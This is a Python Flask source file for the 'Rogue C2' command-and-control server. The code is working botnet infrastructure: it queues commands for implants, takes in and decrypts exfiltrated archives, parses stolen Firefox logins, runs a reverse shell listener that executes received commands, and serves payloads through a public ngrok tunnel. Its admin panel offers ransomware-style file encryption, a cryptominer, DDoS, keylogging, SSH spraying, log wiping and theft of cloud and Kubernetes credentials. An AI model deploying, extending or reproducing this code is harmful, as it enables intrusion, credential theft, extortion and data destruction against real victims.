#!/usr/bin/env python3
from flask import Flask, request, jsonify, render_template_string
import threading, base64, os, socket, time
import zipfile, json
from Cryptodome.Cipher import AES
from datetime import datetime
import subprocess
import requests
from collections import defaultdict
import hashlib
app = Flask(__name__)
app.secret_key = 'RogueC2_RedTeam_v2'
# === Configuration ===
SECRET_KEY = b'6767BabyROGUE!&%5'
EXFIL_DECRYPT_KEY = b'magicRogueSEE!333'
C2_PORT = 4444
EXFIL_PORT = 9091
PAYLOAD_PORT = 8000
# Storage - using defaultdict for better handling
connected_bots = set()
pending_commands = defaultdict(list)
command_results = defaultdict(list)
bot_info = {}
# Map IP to permanent bot ID
ip_to_bot_id = {}
def encrypt_response(msg):
cipher = AES.new(SECRET_KEY, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(msg.encode())
return base64.b64encode(cipher.nonce + tag + ciphertext)
def decrypt_command(data):
data = base64.b64decode(data)
nonce, tag, ciphertext = data[:16], data[16:32], data[32:]
cipher = AES.new(SECRET_KEY, AES.MODE_EAX, nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode()
def get_bot_id(client_ip, implant_id=None):
"""Get or create consistent bot ID for an implant"""
# Use implant_id as primary identifier, not IP
if implant_id:
# Create bot ID based on implant hash
bot_id = f"bot_{implant_id}"
ip_to_bot_id[bot_id] = bot_id # Store by bot_id, not IP
return bot_id
# Fallback: use IP with hash if no implant_id
if client_ip in ip_to_bot_id:
return ip_to_bot_id[client_ip]
identifier = client_ip
bot_hash = hashlib.md5(identifier.encode()).hexdigest()[:8]
bot_id = f"bot_{client_ip.replace('.', '_')}_{bot_hash}"
ip_to_bot_id[client_ip] = bot_id
return bot_id
# ==================== FLASK ROUTES ====================
@app.route('/', methods=['GET', 'POST'])
def c2_controller():
"""Main C2 endpoint - handles encrypted communications"""
if request.method == 'GET':
return "Rogue C2 Server Active - Use POST for encrypted commands"
# Handle POST from implants
try:
client_ip = request.remote_addr
encrypted_data = request.get_data()
if not encrypted_data:
return "No data", 400
# Decrypt the command
decrypted_cmd = decrypt_command(encrypted_data)
# Handle beacon/command
if decrypted_cmd == "beacon":
# For beacon without implant_id, use IP-based ID (fallback)
beacon_id = get_bot_id(client_ip)
# Add to connected bots
connected_bots.add(beacon_id)
# Update bot info
if beacon_id not in bot_info:
bot_info[beacon_id] = {
'ip': client_ip,
'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'beacon_count': 0,
'commands_sent': 0,
'results_received': 0,
'implant_id': 'unknown', # Will be updated when identified
'cloud_info': {} # Add cloud info field
}
# Update stats
bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
bot_info[beacon_id]['beacon_count'] += 1
# Return pending commands or "pong"
commands = pending_commands.get(beacon_id, [])
if commands:
command_to_execute = commands.pop(0)
response = command_to_execute
print(f"[→] Sending command to {beacon_id}: {command_to_execute}")
bot_info[beacon_id]['commands_sent'] += 1
else:
response = "pong"
print(f"[✓] Beacon #{bot_info[beacon_id]['beacon_count']} from {beacon_id}")
return encrypt_response(response)
elif decrypted_cmd.startswith("result:"):
# Store result from implant
result = decrypted_cmd.replace("result:", "", 1)
# Extract bot_id from result if possible, otherwise use IP
beacon_id = None
# Try to find which bot this result belongs to
for bot_id in connected_bots:
if bot_id in result or client_ip in bot_info.get(bot_id, {}).get('ip', ''):
beacon_id = bot_id
break
if not beacon_id:
# Create new bot entry if not found
beacon_id = get_bot_id(client_ip)
if beacon_id not in bot_info:
bot_info[beacon_id] = {
'ip': client_ip,
'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'beacon_count': 1,
'commands_sent': 0,
'results_received': 0,
'implant_id': 'unknown',
'cloud_info': {}
}
result_entry = {
'result': result,
'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'client_ip': client_ip,
'bot_id': beacon_id
}
command_results[beacon_id].append(result_entry)
bot_info[beacon_id]['results_received'] += 1
bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
# Keep only last 10 results
if len(command_results[beacon_id]) > 10:
command_results[beacon_id] = command_results[beacon_id][-10:]
print(f"[✓] Result from {beacon_id}: {result[:100]}...")
return encrypt_response("result_received")
elif decrypted_cmd.startswith("identify:"):
# Implant sending identification - THIS IS KEY
implant_id = decrypted_cmd.replace("identify:", "", 1).strip()
# Use the implant's actual ID, not IP
beacon_id = get_bot_id(client_ip, implant_id)
# Update connected bots
connected_bots.add(beacon_id)
# Update bot info with implant_id
if beacon_id not in bot_info:
bot_info[beacon_id] = {
'ip': client_ip,
'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'beacon_count': 0,
'commands_sent': 0,
'results_received': 0,
'implant_id': implant_id,
'cloud_info': {}
}
else:
bot_info[beacon_id]['implant_id'] = implant_id
bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[+] Implant identified: {implant_id} -> Bot ID: {beacon_id}")
return encrypt_response(f"identified:{beacon_id}")
elif decrypted_cmd.startswith("cloud_detected:"):
# Implant reporting cloud environment
cloud_data = json.loads(decrypted_cmd.replace("cloud_detected:", "", 1))
# Get or create bot ID
beacon_id = get_bot_id(client_ip, cloud_data.get('implant_id', 'unknown'))
# Store cloud info
if beacon_id not in bot_info:
bot_info[beacon_id] = {
'ip': client_ip,
'first_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'beacon_count': 0,
'commands_sent': 0,
'results_received': 0,
'implant_id': 'unknown'
}
bot_info[beacon_id]['cloud_info'] = cloud_data
bot_info[beacon_id]['last_seen'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[CLOUD] Bot {beacon_id} detected in {cloud_data.get('provider', 'unknown')} cloud")
return encrypt_response("cloud_info_received")
else:
# Unknown command
return encrypt_response(f"Unknown command: {decrypted_cmd}")
except Exception as e:
print(f"[!] C2 controller error: {e}")
return encrypt_response(f"[!] Error: {str(e)}")
@app.route('/admin', methods=['GET'])
def admin_panel():
"""Web-based admin panel"""
admin_html = '''
R0gue C2 Admin Panel
Active Bots ({{ bot_count }})
Operations
Payloads
Advanced
Cloud Ops
Kubernetes
Results
Server Status
Active Bots ({{ bot_count }})
{% for bot in bot_list %}
{{ bot.id }}
● Implant ID: {{ bot.implant_id }}
● Last seen: {{ bot.last_seen }} ({{ bot.last_seen_diff }}s ago)
● IP: {{ bot.ip }}
{% if bot.get('cloud_info') and bot.cloud_info %}
● Cloud: {{ bot.cloud_info.provider|upper if bot.cloud_info.provider != 'unknown' else 'Unknown' }}
{% if bot.cloud_info.type %} ({{ bot.cloud_info.type }}){% endif %}
{% endif %}
Beacons: {{ bot.beacon_count }} | Cmds Sent: {{ bot.commands_sent }} | Results: {{ bot.results_received }}
Shell Command
DDoS Attack
Exfiltrate Data
Dump Credentials
Start Miner
PolyRoot Persistence
Reverse Shell
System Recon
PrivEsc Check
Dump Hashes
Browser Data
Keylogger
Screenshots
Clean Logs
Process Injection
Advanced File Hide
Advanced Cron Persist
Competitor Cleaner
Detect Cloud
Cloud Recon
AWS Creds
AWS Enum
Azure Creds
Azure Enum
GCP Creds
GCP Enum
Container Escape
K8s Credentials
K8s Secret Steal
K8s Targeted Steal
Encrypt Documents
Encrypt Downloads
Encrypt Desktop
Encrypt Pictures
Encrypt /tmp (Test)
Encrypt All User Files
System Test (/tmp only)
System User Mode
System Aggressive
SYSTEM DESTRUCTIVE
Decrypt Documents
System Wide Decrypt
Implant Status
Show Help
Send Command
Clear Pending
Status
{% if pending_commands.get(bot.id) %}
Pending Commands:
{% for cmd in pending_commands[bot.id] %}
→ {{ cmd }}
{% endfor %}
{% endif %}
{% if results.get(bot.id) %}
Recent Results:
{% for result in results[bot.id][-5:] %}
{{ result.timestamp }}: {{ result.result[:200] }}...
{% endfor %}
{% endif %}
{% endfor %}
⚙️ Kubernetes Secret Stealer
Steal Kubernetes secrets, configs, tokens, and certificates from compromised containers
Steal All Secrets
Targeted Steal
Load Payload
Run Payload
Features:
• Complete Secret Dump : Extract all secrets from all namespaces
• Targeted Extraction : Steal specific secrets from specific namespaces
• Token Harvesting : Collect service account tokens
• Certificate Extraction : Steal TLS certificates
• ConfigMap Collection : Gather configuration data
• SSH Key Harvesting : Extract SSH keys from pods
Advanced Payloads (NEW)
Advanced stealth and persistence techniques for elite operations
Process Injection
Advanced File Hide
Advanced Cron Persist
Competitor Cleaner
Description:
• Process Injection : Inject implant into legitimate processes for stealth
• Advanced File Hide : Hide files using advanced techniques (extended attributes, etc.)
• Advanced Cron Persist : Set up sophisticated cron-based persistence
• Competitor Cleaner : Remove other malware/botnets from the system
⚠️ File Encryption Tool (DESTRUCTIVE)
WARNING: This tool encrypts files and removes originals. Only use in authorized test environments!
Quick: Encrypt All User Files
System Test (/tmp only)
System User Mode
System Wide Decrypt
Quick Commands
Whoami (All)
System Info
Network Info
List Homes
Process List
Disk Usage
Reconnaissance & Intelligence
System Recon
PrivEsc Check
Dump Hashes
Browser Data
Dump Creds
Network Scan
Kubernetes Operations
Steal All K8s Secrets
Load K8s Stealer
Run K8s Stealer
Advanced Operations
Full Recon Suite
Harvest All Data
Clean Sweep
Advanced Payloads (NEW)
Process Injection
Advanced File Hide
Advanced Cron Persist
Competitor Cleaner
File Operations
Encrypt Documents
Encrypt Downloads
Encrypt Desktop
Test Encrypt /tmp
Encrypt All User Files
System Test (/tmp only)
System User Mode
System Aggressive
SYSTEM DESTRUCTIVE
Decrypt Documents
System Wide Decrypt
Persistence & Stealth
PolyRoot Persistence
Additional Persistence
Defense Evasion
Clean Logs
Clean All Logs
Monitoring & Collection
Start Keylogger
Stop Keylogger
Start Screenshots
Stop Screenshots
Reverse Shell
Lateral Movement & Propagation
Lateral Movement
Auto-Deploy
SSH Spray
DNS Tunnel
Stop DNS Tunnel
DDoS & Cryptomining
DDoS Test (60s)
Start Miner
Stop Miner
Implant Management
Check Status
Self Update
Show Help
Forensics Check
Data Exfiltration
Exfil /etc
Exfil /home
Exfil Logs
Exfil SSH Keys
Payload Management
Browse Payloads
Refresh Payloads
Available Payloads
System Reconnaissance
Comprehensive system/network intelligence gathering
Load
Run
LinPEAS Light
Linux privilege escalation checker
Load
Run
Hash Dumper
Extract password hashes from system
Load
Run
Browser Stealer
Extract browser credentials and data
Load
Run
Keylogger
Keystroke logging module
Load
Run
Screenshot Capture
Periodic screen capture
Load
Run
Log Cleaner
Remove forensic traces from logs
Load
Run
SSH Spray
SSH credential spraying attack
Load
Run
DNS Tunnel
DNS-based covert C2 channel
Load
Run
Auto Deploy
Automated network deployment
Load
Run
Process Injection
Inject implant into processes for stealth
Load
Run
Advanced File Hider
Hide files using advanced techniques
Load
Run
Advanced Cron Persistence
Sophisticated cron-based persistence
Load
Run
Competitor Cleaner
Remove other malware/botnets from system
Load
Run
Cloud Detector
Detect cloud environment (AWS/Azure/GCP)
Load
Run
AWS Credential Stealer
Steal AWS credentials and metadata
Load
Run
Azure Cred Harvester
Harvest Azure credentials and tokens
Load
Run
Container Escape
Escape from containerized environments
Load
Run
Kubernetes Secret Stealer
Steal Kubernetes secrets, tokens, and certificates
Load
Run
File Encryption
AES-256 file encryption/decryption with system-wide modes
Load
Run
Advanced Payloads Suite
Elite stealth, persistence, and system manipulation techniques for advanced operators
Process Injection
Inject Rogue implant into legitimate system processes (systemd, sshd, etc.) for maximum stealth. Bypasses traditional process monitoring.
Execute
Load
Features:
• Inject into running processes
• Memory-only execution
• Bypass file scanning
• Persist across reboots
Advanced File Hider
Hide implant files using extended attributes, hidden directories, and filesystem manipulation techniques. Makes files invisible to standard tools.
Execute
Load
Features:
• Extended attributes hiding
• Dot-prefix manipulation
• Filesystem tunneling
• Anti-forensics techniques
Advanced Cron Persistence
Set up sophisticated cron-based persistence with randomization, obfuscation, and anti-detection mechanisms. Harder to detect than basic cron jobs.
Execute
Load
Features:
• Randomized execution times
• Obfuscated cron entries
• Multiple backup methods
• Self-healing capability
Competitor Cleaner
Identify and remove other malware, botnets, and competitor implants from the system. Clean up the environment for exclusive control.
Execute
Load
Features:
• Detect common malware
• Remove competitor C2
• Clean persistence methods
• System sanitization
☁️ Cloud-Aware Operations
Specialized tools for cloud environment exploitation
Cloud Detection
Detect cloud environment and adapt implant behavior
Detect Cloud
Cloud Recon
AWS Operations
AWS-specific credential harvesting and enumeration
Steal AWS Creds
Enumerate AWS
Load Lateral
Azure Operations
Azure credential harvesting and resource discovery
Steal Azure Creds
Enumerate Azure
Load Lateral
GCP Operations
Google Cloud Platform credential harvesting
Steal GCP Creds
Enumerate GCP
Load Lateral
Container Operations
Container escape and Kubernetes exploitation
Container Escape
K8s Creds
Load Breakout
⚙️ Kubernetes Operations
Specialized tools for Kubernetes cluster exploitation and secret stealing
Complete Secret Stealing
Steal ALL secrets, tokens, certificates, and configurations from the entire Kubernetes cluster
Steal All Secrets
Load Stealer
Run Stealer
Scope:
• All namespaces
• All secrets
• Service account tokens
• TLS certificates
• SSH keys from pods
• ConfigMaps
• Persistent volumes
Targeted Secret Extraction
Steal specific secrets from specific namespaces
Advanced Kubernetes Operations
Advanced Kubernetes exploitation techniques
Steal Credentials
Privilege Escalation
Lateral Movement
Kubernetes Reconnaissance
Gather intelligence about the Kubernetes cluster
Cluster Info
Nodes
Pods
Services
Kubernetes Secret Types
Service Tokens
Authentication tokens for services
TLS Certificates
SSL/TLS certificates for services
Docker Registry
Container registry credentials
SSH Keys
SSH keys for pod access
API Tokens
Kubernetes API access tokens
Cloud Credentials
AWS/Azure/GCP cloud credentials
Command Results History
{% for bot_id, bot_results in results.items() %}
{{ bot_id }}
{% for result in bot_results[-10:] %}
{{ result.timestamp }}
IP: {{ result.client_ip }}
{{ result.result[:500] }}{% if result.result|length > 500 %}...{% endif %}
{% endfor %}
{% endfor %}
Server Status
Ngrok URL: {{ ngrok_url }}
C2 Port: {{ c2_port }}
Exfil Port: {{ exfil_port }}
Reverse Shell Port: 9001
Payloads Repository: {{ payload_url }}
Active Bots: {{ bot_count }}
Pending Commands: {{ pending_count }}
Advanced Payloads: 4 (New)
Cloud Payloads: 5 (New)
Kubernetes Payloads: 1 (New - k8s_secret_stealer.py)
Uptime: Calculating...
Quick Actions
Refresh Page
Check Ngrok
Check Beacons
Clear All Pending
Manual Command
Send
Insert Help
Insert Status
Insert Process Inject
Insert Cloud Detect
Insert K8s Steal
Insert File Encrypt
Insert Encrypt All
Insert System Destructive
'''
# Prepare bot list with time since last seen
current_time = datetime.now()
bot_list = []
# Clean up old bots (not seen for 5 minutes)
bots_to_remove = []
for bot_id in list(connected_bots):
if bot_id in bot_info:
last_seen_str = bot_info[bot_id].get('last_seen')
if last_seen_str:
last_seen_time = datetime.strptime(last_seen_str, '%Y-%m-%d %H:%M:%S')
seconds_ago = int((current_time - last_seen_time).total_seconds())
if seconds_ago > 300: # 5 minutes
bots_to_remove.append(bot_id)
else:
bot_list.append({
'id': bot_id,
'ip': bot_info[bot_id].get('ip', 'Unknown'),
'implant_id': bot_info[bot_id].get('implant_id', 'unknown'),
'last_seen': last_seen_str,
'last_seen_diff': seconds_ago,
'beacon_count': bot_info[bot_id].get('beacon_count', 0),
'commands_sent': bot_info[bot_id].get('commands_sent', 0),
'results_received': bot_info[bot_id].get('results_received', 0),
'cloud_info': bot_info[bot_id].get('cloud_info', {})
})
# Remove old bots
for bot_id in bots_to_remove:
connected_bots.discard(bot_id)
if bot_id in bot_info:
del bot_info[bot_id]
# Sort by most recent
bot_list.sort(key=lambda x: x['last_seen_diff'])
pending_count = sum(len(cmds) for cmds in pending_commands.values())
# Get ngrok URL if available
ngrok_url = "Not available"
try:
r = requests.get("http://localhost:4040/api/tunnels", timeout=2)
data = r.json()
for tunnel in data["tunnels"]:
if tunnel["proto"] == "https":
ngrok_url = tunnel["public_url"]
break
except:
pass
# Build payload URL
payload_url = f"{ngrok_url}/payloads/" if ngrok_url != "Not available" else f"http://localhost:{C2_PORT}/payloads/"
return render_template_string(admin_html,
time=datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
bot_list=bot_list,
bot_count=len(bot_list),
results=command_results,
pending_commands=pending_commands,
pending_count=pending_count,
ngrok_url=ngrok_url,
payload_url=payload_url,
c2_port=C2_PORT,
exfil_port=EXFIL_PORT
)
@app.route('/command', methods=['POST'])
def add_command():
"""Add command for a bot"""
try:
data = request.json
beacon_id = data.get('beacon_id')
command = data.get('command')
if not beacon_id or not command:
return jsonify({'error': 'Missing beacon_id or command'}), 400
pending_commands[beacon_id].append(command)
print(f"[+] Command queued for {beacon_id}: {command}")
return jsonify({
'status': 'queued',
'command_id': f"cmd_{int(time.time())}_{len(pending_commands[beacon_id])}",
'beacon_id': beacon_id
})
except Exception as e:
print(f"[-] Command error: {e}")
return jsonify({'error': str(e)}), 500
@app.route('/k8s_command', methods=['POST'])
def k8s_command():
"""Send Kubernetes-specific command"""
try:
data = request.json
beacon_id = data.get('beacon_id')
command = data.get('command')
namespace = data.get('namespace', 'default')
secret = data.get('secret', '')
if not beacon_id or not command:
return jsonify({'error': 'Missing beacon_id or command'}), 400
# Build the command
if command == 'steal_all':
actual_command = 'trigger_k8s_steal'
elif command == 'targeted':
actual_command = f'trigger_k8s_target {namespace}'
if secret:
actual_command += f' {secret}'
elif command == 'creds':
actual_command = 'trigger_k8s_creds'
else:
actual_command = command
pending_commands[beacon_id].append(actual_command)
print(f"[K8S] Kubernetes command queued for {beacon_id}: {actual_command}")
return jsonify({
'status': 'queued',
'command': command,
'actual_command': actual_command
})
except Exception as e:
print(f"[-] Kubernetes command error: {e}")
return jsonify({'error': str(e)}), 500
@app.route('/clear_pending/', methods=['POST'])
def clear_pending(bot_id):
"""Clear pending commands for a bot"""
if bot_id in pending_commands:
pending_commands[bot_id] = []
print(f"[+] Cleared pending commands for {bot_id}")
return jsonify({'status': 'cleared', 'bot_id': bot_id})
return jsonify({'error': 'Bot not found'}), 404
@app.route('/beacons')
def list_beacons():
"""List all active beacons"""
return jsonify({
'beacons': list(connected_bots),
'total': len(connected_bots),
'server_time': datetime.now().isoformat()
})
@app.route('/payloads/')
def serve_payload(filename):
"""Serve payload files directly from the payloads directory"""
payload_dir = os.path.join(os.getcwd(), "payloads")
file_path = os.path.join(payload_dir, filename)
if os.path.exists(file_path) and os.path.isfile(file_path):
# Check file extension for proper content type
if filename.endswith('.py'):
content_type = 'text/plain'
else:
content_type = 'application/octet-stream'
with open(file_path, 'rb') as f:
response = f.read()
return response, 200, {'Content-Type': content_type}
return "Payload not found", 404
@app.route('/payloads/')
def list_payloads():
"""List available payloads"""
payload_dir = os.path.join(os.getcwd(), "payloads")
files = []
if os.path.exists(payload_dir):
files = os.listdir(payload_dir)
html = f"""
Rogue C2 Payload Repository
Rogue C2 Payload Repository
Total Payloads: {len([f for f in files if f.endswith('.py')])}
Advanced Payloads (NEW): 4
Cloud Payloads (NEW): 5
Kubernetes Payloads (NEW): 1 (k8s_secret_stealer.py)
"""
# Organize payloads by category
payload_categories = {
'Reconnaissance': ['sysrecon.py', 'network_scanner.py'],
'Privilege Escalation': ['linpeas_light.py', 'persistence.py'],
'Credential Access': ['hashdump.py', 'browserstealer.py'],
'Collection': ['keylogger.py', 'screenshot.py'],
'Defense Evasion': ['logcleaner.py', 'defense_evasion.py'],
'Lateral Movement': ['sshspray.py', 'autodeploy.py', 'lateral_movement.py'],
'Command & Control': ['dnstunnel.py'],
'Impact': ['ddos.py', 'mine.py', 'fileransom.py'],
'Persistence': ['polyloader.py'],
'Advanced (NEW)': ['process_inject.py', 'advanced_filehider.py', 'advanced_cron_persistence.py', 'competitor_cleaner.py'],
'Cloud (NEW)': ['cloud_detector.py', 'aws_credential_stealer.py', 'azure_cred_harvester.py', 'container_escape.py'],
'Kubernetes (NEW)': ['k8s_secret_stealer.py']
}
for category, payloads in payload_categories.items():
html += f'{category} '
for payload in payloads:
if payload in files:
if payload == 'fileransom.py':
warning_class = 'warning'
elif payload in ['process_inject.py', 'advanced_filehider.py', 'advanced_cron_persistence.py', 'competitor_cleaner.py']:
warning_class = 'advanced'
elif payload in ['cloud_detector.py', 'aws_credential_stealer.py', 'azure_cred_harvester.py', 'container_escape.py']:
warning_class = 'cloud'
elif payload == 'k8s_secret_stealer.py':
warning_class = 'k8s'
else:
warning_class = ''
html += f'''
{payload}
Size: {os.path.getsize(os.path.join(payload_dir, payload)) // 1024} KB |
Load |
Run
{ ' |
NEW ' if payload in ['process_inject.py', 'advanced_filehider.py', 'advanced_cron_persistence.py', 'competitor_cleaner.py'] else '' }
{ ' |
CLOUD ' if payload in ['cloud_detector.py', 'aws_credential_stealer.py', 'azure_cred_harvester.py', 'container_escape.py'] else '' }
{ ' |
KUBERNETES ' if payload == 'k8s_secret_stealer.py' else '' }
'''
html += """
"""
return html
@app.route('/ngrok_status')
def ngrok_status():
"""Check ngrok status"""
try:
r = requests.get("http://localhost:4040/api/tunnels")
data = r.json()
for tunnel in data["tunnels"]:
if tunnel["proto"] == "https":
return jsonify({
'status': 'active',
'url': tunnel["public_url"],
'proto': tunnel["proto"]
})
return jsonify({'status': 'no_tunnels'})
except:
return jsonify({'status': 'error', 'message': 'Ngrok not running'})
# ==================== EXFIL LISTENER ====================
def exfil_listener():
"""Exfiltration listener for encrypted data"""
exfil_server = socket.socket()
exfil_server.bind(('0.0.0.0', EXFIL_PORT))
exfil_server.listen(5)
print(f"[EXFIL] Listening on port {EXFIL_PORT} for incoming encrypted data...")
while True:
conn, addr = exfil_server.accept()
print(f"[EXFIL] Receiving from {addr[0]}...")
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
conn.close()
raw_file = f"exfil_raw_{addr[0].replace('.', '_')}.bin"
with open(raw_file, "wb") as f:
f.write(data)
print(f"[EXFIL] Raw dump saved: {raw_file}")
try:
nonce, tag, ciphertext = data[:16], data[16:32], data[32:]
cipher = AES.new(EXFIL_DECRYPT_KEY, AES.MODE_EAX, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
out_file = f"exfil_dec_{addr[0].replace('.', '_')}_{ts}.zip"
with open(out_file, "wb") as f:
f.write(plaintext)
print(f"[EXFIL] Decrypted archive saved: {out_file}")
extracted_dir = out_file + "_unzipped"
with zipfile.ZipFile(out_file, 'r') as zip_ref:
zip_ref.extractall(extracted_dir)
for root, _, files in os.walk(extracted_dir):
for file in files:
if file == "logins.json":
path = os.path.join(root, file)
print(f"\n Parsing Firefox logins.json: {path}")
with open(path, "r", encoding="utf-8") as f:
data = json.load(f)
for entry in data.get("logins", []):
print(f" - Site: {entry.get('hostname')}")
print(f" Username (enc): {entry.get('encryptedUsername')}")
print(f" Password (enc): {entry.get('encryptedPassword')}")
except Exception as e:
print(f"[!] Decryption failed: {e}")
# ==================== REVERSE SHELL LISTENER ====================
def reverse_shell_listener():
"""Reverse shell listener"""
server = socket.socket()
server.bind(('0.0.0.0', 9001))
server.listen(5)
print("[REVERSE SHELL] Listening on port 9001...")
while True:
conn, addr = server.accept()
print(f"[REVERSE SHELL] Connection from {addr}")
threading.Thread(target=handle_reverse_shell, args=(conn, addr)).start()
def handle_reverse_shell(conn, addr):
"""Handle reverse shell session"""
try:
conn.send(b"Rogue C2 Reverse Shell - Connected\n")
while True:
conn.send(b"$ ")
cmd = conn.recv(1024).decode().strip()
if cmd.lower() == "exit":
break
output = subprocess.getoutput(cmd)
conn.send(output.encode() + b"\n")
except:
pass
finally:
conn.close()
print(f"[REVERSE SHELL] Disconnected from {addr}")
# ==================== STARTUP ====================
def start_ngrok(port=C2_PORT):
"""Start ngrok tunnel"""
# Kill any existing ngrok processes
subprocess.run(["pkill", "-f", "ngrok"], stderr=subprocess.DEVNULL)
time.sleep(2)
# Start new ngrok tunnel
subprocess.Popen(["ngrok", "http", str(port)], stdout=subprocess.DEVNULL)
time.sleep(5)
try:
r = requests.get("http://localhost:4040/api/tunnels")
data = r.json()
for tunnel in data["tunnels"]:
if tunnel["proto"] == "https":
return tunnel["public_url"]
except Exception as e:
print(f"[!] Ngrok failed: {e}")
return None
def start_payload_server():
"""Start HTTP server for payloads (optional - kept for backward compatibility)"""
payload_path = os.path.join(os.getcwd(), "payloads")
if not os.path.exists(payload_path):
os.makedirs(payload_path, exist_ok=True)
print(f"[!] Created payloads directory: {payload_path}")
print(f"[✓] Payloads will be served via Flask at /payloads/")
# Payloads are served directly by Flask at /payloads/
def main():
"""Main startup function"""
print("\n" + "="*60)
print(" ROGUE C2 SERVER - Complete Command & Control")
print("="*60)
# Start listeners in threads
threading.Thread(target=exfil_listener, daemon=True).start()
print(f"[✓] Exfil listener started on port {EXFIL_PORT}")
threading.Thread(target=reverse_shell_listener, daemon=True).start()
print(f"[✓] Reverse shell listener started on port 9001")
# Initialize payloads directory
start_payload_server()
# Start ngrok
print("[*] Starting ngrok tunnel...")
ngrok_url = start_ngrok()
if ngrok_url:
hostname = ngrok_url.replace("https://", "").replace("http://", "").rstrip("/")
print(f"\n[✓] C2 SERVER IS LIVE!")
print(f"[NGROK] C2 URL: {ngrok_url}")
print(f"[NGROK] Hostname: {hostname}")
print(f"[NGROK] Payloads: {ngrok_url}/payloads/")
print(f"\n[→] Set in implant:")
print(f" C2_HOST = '{hostname}'")
print(f" C2_PORT = 443")
print(f" PAYLOAD_REPO = '{ngrok_url}/payloads/'")
else:
print("[!] Ngrok tunnel failed. Using localhost.")
print(f"[→] Local C2: http://localhost:{C2_PORT}")
print(f"[→] Local Payloads: http://localhost:{C2_PORT}/payloads/")
print(f"\n[ADMIN] Web Panel: http://localhost:{C2_PORT}/admin")
print(f"[EXFIL] Listener: 0.0.0.0:{EXFIL_PORT}")
print(f"[SHELL] Reverse Shell: 0.0.0.0:9001")
print(f"[PAYLOADS] Available at: {ngrok_url}/payloads/" if ngrok_url else f"[PAYLOADS] Available at: http://localhost:{C2_PORT}/payloads/")
print(f"[ADVANCED] 4 New Payloads Added: Process Injection, File Hider, Cron Persist, Competitor Cleaner")
print(f"[CLOUD] 5 Cloud Payloads Added: Cloud Detector, AWS/Azure/GCP Stealers, Container Escape")
print(f"[KUBERNETES] 1 New Payload Added: k8s_secret_stealer.py")
print(f"[FILE ENCRYPTION] System-wide modes: system_test, system_user, system_aggressive, system_destructive")
print(f"\n[K8S FEATURES]")
print(f" • Complete secret extraction from all namespaces")
print(f" • Targeted secret stealing by namespace")
print(f" • Service account token harvesting")
print(f" • TLS certificate extraction")
print(f" • ConfigMap collection")
print(f" • SSH key harvesting from pods")
print("\n" + "="*60)
# Start Flask server
app.run(host='0.0.0.0', port=C2_PORT, debug=False, threaded=True)
if __name__ == "__main__":
main()